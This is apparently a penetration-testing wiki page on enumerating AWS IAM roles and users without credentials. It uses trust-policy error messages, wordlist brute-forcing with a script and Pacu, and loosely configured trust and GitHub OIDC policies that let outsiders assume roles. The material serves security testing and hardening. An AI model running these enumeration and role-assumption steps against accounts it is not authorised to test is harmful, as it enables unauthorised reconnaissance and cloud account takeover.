# AWS - IAM & STS Unauthenticated Enum

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## Enumerate Roles & Usernames in an account

### ~~Assume Role Brute-Force~~

> [!CAUTION]
> **This technique doesn't work** anymore as if the role exists or not you always get this error:
>
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
>
> You can **test this running**:
>
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`

Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return:

```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```

This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**:

```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```

Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.

You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.

### Trust Policies: Brute-Force Cross Account roles and users

Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.

> [!WARNING]
> Note that in that resource you could specify a cross account role or user:
>
> - `arn:aws:iam::acc_id:role/role_name`
> - `arn:aws:iam::acc_id:user/user_name`

This is a policy example:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::216825089941:role/Test"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
```

#### GUI

That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating)

![AWS IAM edit trust policy page showing an invalid principal error for a non-existent role ARN](<../../../images/image (153).png>)

#### CLI

```bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
    "Role": {
        "Path": "/",
        "RoleName": "Test-Role",
        "RoleId": "AROA5ZDCUJS3DVEIYOB73",
        "Arn": "arn:aws:iam::947247140022:role/Test-Role",
        "CreateDate": "2022-05-03T20:50:04Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::316584767888:role/account-balance"
                    },
                    "Action": [
                        "sts:AssumeRole"
                    ]
                }
            ]
        }
    }
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
```

You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)

- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`

Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):

- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration

### Privesc

In the case the role was bad configured an allows anyone to assume it:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
```

The attacker could just assume it.

## Third Party OIDC Federation

Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\
This trust might give access to a role with the following **trust policy**:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        }
      }
    }
  ]
}
```

This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\
This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach...

Another potential misconfiguration is to **add a condition** like the following:

```json
"StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```

Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action.

## References

- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)

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